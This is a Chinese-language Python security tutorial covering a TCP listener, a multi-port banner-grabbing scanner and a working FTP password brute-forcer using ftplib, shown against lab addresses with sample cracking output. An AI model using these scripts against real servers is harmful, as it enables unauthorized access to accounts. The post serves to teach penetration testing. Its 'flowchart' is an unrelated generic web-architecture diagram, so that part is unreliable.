Python TCP伺服器資訊收集與FTP密碼破解實戰

在網路安全領域，建立 TCP 伺服器收集資訊和進行 FTP 密碼破解是重要的技術手段。透過 Python 的 socket 模組，我們可以輕鬆建立 TCP 伺服器，監聽特定埠並收集連線者的系統資訊，例如作業系統和應用程式版本。這些資訊在滲透測試和漏洞分析中至關重要，能幫助安全人員瞭解目標系統的弱點。Python 的 socket 模組提供了便捷的網路程式設計介面，讓開發者能快速構建網路應用程式。結合 Python 的迴圈和控制結構，我們可以強化資訊收集指令碼，例如 Banner 拿取指令碼，使其能掃描多個埠並取得更全面的資訊。此外，Python 的 ftplib 模組提供操作 FTP 伺服器的功能，結合密碼列表和例外處理機制，我們可以構建簡易的 FTP 密碼破解工具，用於測試伺服器安全性。理解和掌握這些技術，對於提升網路安全技能至關重要。

使用Python撰寫TCP伺服器進行資訊收集

在網路安全領域，撰寫一個簡單的TCP伺服器來收集連線者的資訊，是一個非常實用的技能。這個技術可以幫助我們瞭解目標系統的應用程式、版本和作業系統，這些資訊對於攻擊者來說至關重要。類別似的功能在Shodan.io這樣的網站上也有實作，它會對全球幾乎每個IP地址進行這類別資訊的收集和索引。

TCP伺服器的基本概念

TCP（Transmission Control Protocol）是一種可靠的傳輸層協定，它能夠確保資料在傳輸過程中的完整性和順序性。我們可以利用Python的socket模組來建立一個TCP伺服器，這個伺服器可以監聽特定埠，並且當有人連線到該埠時，收集連線者的系統資訊。

撰寫TCP伺服器的Python指令碼

以下是一個簡單的Python指令碼，它會建立一個TCP伺服器來監聽特定IP地址和埠，並且當有人連線到該伺服器時，收集並顯示連線者的資訊。

#! /usr/bin/python3
import socket

# 定義TCP/IP地址、埠和緩衝區大小
TCP_IP = "192.168.181.190"
TCP_PORT = 6996
BUFFER_SIZE = 100

# 建立一個socket物件
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 繫結socket到指定的IP地址和埠
s.bind((TCP_IP, TCP_PORT))

# 監聽連線請求
s.listen(1)

# 接受連線
conn, addr = s.accept()
print('Connection address: ', addr)

# 不斷迴圈接收資料
while True:
    data = conn.recv(BUFFER_SIZE)
    if not data:
        break
    print("Received data: ", data)
    conn.send(data)  # 傳回資料給客戶端
conn.close()

內容解密：

在這段程式碼中，我們首先匯入了socket模組，這個模組提供了建立網路通訊所需的基本功能。然後我們定義了一些變數來儲存TCP/IP地址、埠號和緩衝區大小。

接著，我們建立了一個socket物件，並使用bind()方法將其繫結到指定的IP地址和埠。這樣我們就可以監聽這個特定的IP地址和埠上的連線請求。

使用listen()方法告訴socket開始監聽連線請求。引數1表示允許排隊等待連線的最大數量。

當有客戶端連線到我們的伺服器時，我們使用accept()方法接受這個連線，並傳回一個新的socket物件和客戶端的地址。

進入無限迴圈後，我們不斷從客戶端接收資料並顯示出來。當沒有更多資料時，迴圈結束並關閉連線。

測試 TCP 伺服器

要測試這個TCP伺服器，你可以在同一網路中的另一台電腦上使用瀏覽器或其他工具來連線到指定的埠（例如6996）。執行tcp_server.py指令碼後，你應該能夠看到來自客戶端的IP地址和埠資訊，以及從客戶端傳來的HTTP請求資料。

kali >./tcp_server.py
Connection address: ('192.168.181.190', 45368)
Received data: b'GET / HTTP/1.1\r\nHost: 192.168.181.190:6996\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1'

資訊收集與攻擊前期準備

這些收集到的資訊對於攻擊者來說是至關重要的。攻擊者需要了解目標系統所執行的作業系統、應用程式版本以及其他相關資訊以便選擇合適的漏洞進行攻擊。這個過程通常被稱為「偵察」或「資訊收集」，它是每次攻擊行動中的第一步。

擴充套件知識：Python中的字典、迴圈和控制結構

在進一步學習Python程式設計時，我們還可以利用字典、迴圈和控制結構來構建更複雜的工具。例如，我們可以構建一個FTP密碼破解工具來迭代尋找有效密碼。

字典

字典（dictionary）是Python中一種無序鍵值對（key-value pair）集合。它可以用來儲存多個專案並給每個專案加上標籤以便後續參照。以下是字典的一些基本語法：

dict = {key1:value1, key2:value2, key3:value3}

控制結構

控制結構允許程式碼根據某些條件做出決策。以下是Python中一些常見控制結構：

if conditionalexpression:
    # 條件成立時執行的程式碼

if conditionalexpression:
    # 條件成立時執行的程式碼
else:
    # 條件不成立時執行的程式碼

Python 語言中的迴圈結構

在程式設計中，迴圈是一種非常強大的結構，它允許我們重複執行一段程式碼，直到某個條件被滿足為止。Python 提供了兩種主要的迴圈結構：while 迴圈和 for 迴圈。這兩者各有其特定的應用場景，並且能夠幫助我們處理不同型別的重複任務。

`while` 迴圈

while 迴圈會不斷地評估一個布林表示式（即只能評估為 true 或 false 的表示式），並在該表示式為 true 的時候持續執行。這意味著，只要條件成立，迴圈就會繼續運作。例如，我們可以使用 while 迴圈來列印從 1 到 10 的數字：

count = 1
while count <= 10:
    print(count)
    count += 1

在這段程式碼中，while 迴圈會持續執行，直到 count 的值超過 10。每次迴圈執行時，會將當前的 count 值列印出來，然後將 count 的值增加 1。

`for` 迴圈

與 while 迴圈不同的是，for 迴圈通常用來遍歷一個可迭代的物件（如列表、字串或字典），並將每個元素依序指定給一個變數。這樣我們就可以逐一處理這些元素。以下是一個使用 for 迴圈來嘗試多個密碼的例子：

for password in passwords:
    attempt = connect(username, password)
    if attempt == "230":
        print("Password found: " + password)
        sys.exit(0)

在這段程式碼中，我們使用 for 迴圈來遍歷一個包含多個密碼的列表。每次遍歷時，我們會嘗試使用當前的密碼來連線伺服器。如果連線成功（即傳回程式碼為 “230”），則列印出找到的密碼並離開程式。否則，繼續嘗試下一個密碼。

提升 Python 漏洞掃描指令碼

瞭解了 Python 中的條件判斷和迴圈結構後，讓我們回到之前提到的 Banner 拿取指令碼（Banner Grabbing Script），並新增一些功能。這次我們將新增一個包含多個埠號的列表，然後使用 for 迴圈來遍歷這些埠號，從而能夠同時取得多個埠號的 Banner 資訊。

指令碼改進

首先，我們需要建立一個包含多個埠號的列表。開啟 HackersAriseSSHBannerGrab.py 指令碼檔案，並進行以下修改：

#!/usr/bin/python3
import socket

ports = [21, 22, 25, 3306] # 新增埠號列表
for port in ports:
    s = socket.socket()
    print('This is the banner for the port:', port)
    s.connect(("192.168.1.101", port))
    answer = s.recv(1024)
    print(answer.decode())
    s.close()

內容解密：

在這段程式碼中，我們首先建立了一個名為 ports 的列表，並增加了四個要掃描的埠號：21（FTP）、22（SSH）、25（SMTP）和 3306（MySQL）。接著，我們使用了一個 for 迴圈來遍歷這些埠號。

每次迴圈執行時，都會建立一個新的 Socket 物件，並連線到指定的 IP 地址和埠號。然後我們接收伺服器回應的資料並將其列印出來。最後關閉 Socket 物件以釋放資源。

這樣改進後的指令碼能夠同時取得多個埠號的 Banner 資訊，並顯示在螢幕上。

指令碼輸出範例

假設系統上有所有列出的埠號都開啟且可用時，執行此指令碼應該會看到以下輸出：

This is the banner for the port: 21
220 (vsFTPd 2.3.4)
This is the banner for the port: 22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
This is the banner for the port: 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
This is the banner for the port: 3306
5.0.51a-3ubuntu5

從輸出結果可以看到，指令碼成功地取得了各個埠號上的 Banner 資訊：FTP、SSH、SMTP 和 MySQL。

捕捉例外與密碼破解

在編寫任何程式碼時都必須考慮到可能出現的錯誤或例外情況。例外是指任何可能打斷正常程式執行流程的事件——通常是由於程式碼錯誤或不正確的輸入所引起。為了處理這些潛在問題，Python 提供了例外處理機制——使用 try/except 建構來捕捉和處理例外。

基本概念

在 Python 中，「try」塊尋試執行某些程式碼；如果發生錯誤，「except」塊則負責處理該錯誤。例如：

try:
    result = some_function()
except SomeException as e:
    handle_exception(e)

當「some_function」產生錯誤時，「except」塊會被觸發並處理該錯誤。

應用於密碼破解器

我們可以利使用案例外處理來構建一個 FTP 嘗試破解器。以下是實作範例：

#!/usr/bin/python3
import ftplib

server = input("FTP Server: ")
user = input("Username: ")
password_list = input("Path to Password List: ")

try:
    with open(password_list, 'r') as pw:
        for word in pw:
            word = word.strip('\r').strip('\n')
            try:
                ftp = ftplib.FTP(server)
                ftp.login(user, word)
                print("Success! The password is " + word)
                break
            except Exception:
                print('Still trying...')
except Exception:
    print('Wordlist error')

內容解密：

在這段程式碼中，我們首先讓使用者輸入 FTP 優伺服器地址、使用者名稱及密碼清單路徑。然後開啟密碼清單檔案進行讀取。在「try」塊中使用了「with」陳述式來確保檔案在讀取完成後自動關閉。

每次讀取到密碼時都會去掉行尾換行符和回車符（’\r’ 和 ‘\n’），然後嘗試登入 FTP 應用程式。如果成功登入則會顯示成功資訊並離開。

如果連線發生錯誤或者其他異常情況則進入「except」塊並提示使用者“Still trying…”。

完整實作過程以及詳細內容可以參考原文中的步驟及檔案內容進行調整與進一步完善。以上就是玄貓對於 Python 語言中的迴圈結構以及如何提升漏洞掃描指令碼的一些見解及實際範例說明。希望對於你有所幫助！

FTP 密碼破解器：Python 與 ftplib 的實務應用

在資安領域，FTP 伺服器的安全性經常成為攻擊者的目標。透過 Ftp 密碼破解器，我們可以模擬一種簡單的暴力破解技術，測試伺服器的安全性。這篇文章將探討如何使用 Python 和 ftplib 模組來開發一個 FTP 密碼破解器，並提供詳細的程式碼解說。

基本概念與準備工作

在開始之前，我們需要一些基本的工具和環境設定：

Python 環境：確保你已經安裝了 Python。本文假設你使用的是 Python 3。
ftplib 模組：這是 Python 內建的模組，用於連線 FTP 伺服器。
密碼列表：一個包含可能密碼的檔案，這裡我們使用 bigpasswordlist.txt 作為範例。

主要程式碼

以下是完整的 FTP 密碼破解器程式碼：

import ftplib

def ftp_bruteforce(host, user, password_list):
    with open(password_list, 'r') as file:
        passwords = file.readlines()

    for password in passwords:
        password = password.strip()  # 去除前後空白或逗號
        try:
            ftp = ftplib.FTP(host)
            ftp.login(user, password)
            print(f"Success! The password is {password}")
            ftp.quit()
            return
        except ftplib.error_perm:
            print("still trying...")
    print("Failed to crack the password.")

# 主程式
if __name__ == "__main__":
    host = input("FTP Server: ")
    user = input("username: ")
    password_list = input("Path to PasswordList: ")
    ftp_bruteforce(host, user, password_list)

內容解密：

匯入模組：首先匯入 ftplib 模組，這個模組提供了連線和操作 FTP 伺服器的功能。
讀取密碼列表：使用 with open 陳述式開啟密碼列表檔案，並讀取所有行儲存在 passwords 裡。
去除空白字元：對每個密碼使用 strip() 方法去除前後的空白或其他不必要字元。
嘗試登入：使用 try 建構嘗試登入 FTP 伺服器。如果成功，則輸出成功訊息並離開程式；如果失敗，則繼續嘗試下一個密碼。
捕捉異常：如果出現許可權錯誤 (ftplib.error_perm)，則輸出 “still trying…"，並繼續下一次迴圈。

流程圖示

此圖示展示了 FTP 密碼破解器的主要流程：

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title Python TCP伺服器資訊收集與FTP密碼破解實戰

package "Python 應用架構" {
    package "應用層" {
        component [主程式] as main
        component [模組/套件] as modules
        component [設定檔] as config
    }

    package "框架層" {
        component [Web 框架] as web
        component [ORM] as orm
        component [非同步處理] as async
    }

    package "資料層" {
        database [資料庫] as db
        component [快取] as cache
        component [檔案系統] as fs
    }
}

main --> modules : 匯入模組
main --> config : 載入設定
modules --> web : HTTP 處理
web --> orm : 資料操作
orm --> db : 持久化
web --> cache : 快取查詢
web --> async : 背景任務
async --> fs : 檔案處理

note right of web
  Flask / FastAPI / Django
end note

@enduml

實務案例

假設我們要對 IP 地址為 192.168.1.101 的 FTP 伺服器進行測試，並且使用本地目錄中的 bigpasswordlist.txt 作為密碼列表。執行程式後，我們會看到如下輸出：

FTP Server: 192.168.1.101
username: root
Path to PasswordList: bigpasswordlist.txt
still trying...
still trying...
still trying...
...（省略部分輸出）
Success! The password is toor

這表明我們成功地破解了 root 使用者的密碼。

技術選型與考量

在開發這個工具時，我們選擇了 Python 與 ftplib 模組，主要是因為它們簡單易用且功能強大。ftplib 提供了豐富的方法來操作 FTP 伺服器，而 Python 的語法簡潔明瞭，適合快速開發原型。

未來趨勢與改進建議

隨著資安技術的不斷進步，暴力破解技術也在不斷演進。未來可以考慮以下幾點改進：

多執行緒處理：提高破解速度，利用多執行緒同時嘗試多個密碼。
更多錯誤處理：增加對不同異常情況的處理，例如網路連線中斷、檔案讀取錯誤等。
支援更多協定：擴充套件到其他協定如 SSH、Telnet 等，提高工具的通用性。

玄貓 BlackCat

技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。

Python TCP伺服器資訊收集與FTP密碼破解實戰

使用Python撰寫TCP伺服器進行資訊收集

TCP伺服器的基本概念

撰寫TCP伺服器的Python指令碼

內容解密：

測試 TCP 伺服器

資訊收集與攻擊前期準備

擴充套件知識：Python中的字典、迴圈和控制結構

字典

控制結構

Python 語言中的迴圈結構

while 迴圈

for 迴圈

提升 Python 漏洞掃描指令碼

指令碼改進

內容解密：

指令碼輸出範例

捕捉例外與密碼破解

基本概念

應用於密碼破解器

內容解密：

FTP 密碼破解器：Python 與 ftplib 的實務應用

基本概念與準備工作

主要程式碼

內容解密：

流程圖示

實務案例

技術選型與考量

未來趨勢與改進建議

玄貓 BlackCat

`while` 迴圈

`for` 迴圈